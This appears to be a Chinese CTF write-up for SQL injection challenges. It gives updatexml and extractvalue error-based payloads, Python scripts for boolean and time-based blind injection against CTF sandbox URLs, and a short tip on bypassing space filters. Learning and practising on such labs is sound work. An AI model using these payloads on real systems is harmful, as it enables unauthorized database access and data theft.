整数型注入
字符型注入
太过基础,不写了
报错注入
对于报错注入,这里分享两种在ctf中经常用到的方法。 两种报错都是基于Xpath语法错误回显,只是利用方式略微不同。
方法一(updatexml): 利用方式:
id='and(select updatexml("anything",concat('~',(select语句())),"anything"))
1.爆出库名: payload:
1 and updatexml(1,concat(0x7e,database(),0x7e),1)
2.爆出表名: payload:
1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)
3.爆破列名:
payload:
1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e),1)
4.爆破flag payload:
1 and updatexml(1,concat(0x7e,(select group_concat(flag) from flag),0x7e),1)
5.这里的flag查询出来回显不完全,考虑使用right函数 right函数: payload:
1 and updatexml(1,concat(0x7e,right((select group_concat(flag) from flag),15),0x7e),1)
两段拼接得到完整flag
方法二: 利用方式:
id='and(select extractvalue("anything",concat('~',(select语句))))
1.爆破库名: payload:
1 and extractvalue(1,concat(0x7e,database(),0x7e))
2.爆破表名 payload:
1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))
3.爆破列名 payload:
1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e))
4.爆破flag信息 payload:
1 and extractvalue(1,concat(0x7e,(select group_concat(flag) from flag),0x7e))
5.拼接flag与方法一相同
布尔盲注
布尔盲注,是在一般的sql注入当中过滤掉了回显信息。但是会返回正确或者错误的提示这也是我们可以利用的地方。
举个栗子: 我们输入1的时候,返回成功信息,因为数据库中存在id=1的信息 输入-1时,返回错误信息,两次返回不相同。 一般采用ascii和substr相结合的方法构造payload 以爆破库名为例: payload:
1 and ascii(substr(database(),1,1))>0
这条语句的意思是: database()的第一个字符的ascii值大于0,很明显带入数据库返回正确。
1 and ascii(substr(database(),1,1))>500
当我们把阈值调整为500,带入数据库返回错误信息,由两次执行得到不同的结果我们可以知道,database()的首位acsii在0-500之间,我们可以使用脚本利用二分查找的思想不断的修改阈值找到正确的答案这就是我们布尔盲注利用的基础(爆破库名、列名、flag信息都同样适用)。
明白了基本原理,直接上脚本
import requests
url="http://challenge-dad6bd9a70ffe429.sandbox.ctfhub.com:10800/"
flag=""
for i in range(1,50):
left = 32
right = 128
while left<right:
mid=(left+right)//2
payload=f"?id=1+and+ascii(substr((select+group_concat(flag)+from+flag)%2C{i}%2C1))>{mid}"
urls=url+payload
res=requests.get(urls)
if 'query_success' in res.text:
left=mid+1
else:
right=mid
if left!=32:
flag+=chr(left)
else:
break
print(flag)
运行脚本即可得到flag
时间盲注
其实理解了布尔盲注,再来看时间盲注就十分简单了,只不过布尔盲注根据回显的正确错误信息判断,时间盲注是基于数据库是否休眠判断猜解信息是否正确。
时间盲注里边用到了mysql的分支结构:
1 and if(1=1,sleep(3),0)
#if(判断语句,成立时执行此条件,不成立时执行此条件)
带入测试,因为此时1=1是恒成立的,因此页面会被sleep3秒,页面会有明显的卡顿,但是更改条件为1=2时这种现象消失。 以此为条件,类似前边的布尔盲注,进行时间盲注,直接上脚本
import requests
import time
url="http://challenge-aa6e5dae8a5fb761.sandbox.ctfhub.com:10800/"
flag=""
for i in range(1,50):
left=32
right=128
while(left<right):
mid=(left+right)//2
payload=f"?id=1+and+if(ascii(substr((select flag from flag)%2C{i}%2C1))>{mid}%2Csleep(3)%2C0)"
urls=url+payload
begin=time.time()
res=requests.get(urls)
end=time.time()
if(end-begin>2.9):
left=mid+1
else:
right=mid
if(left!=32):
flag+=chr(left)
else:
break
print(flag)
cookie注入
UA注入
Refer注入
都是提醒我们,sql注入可能出现的位置,根据提示找到注入点后都是简单整形注入
过滤空格
空格用/**/绕过后的简单的整型过滤。
|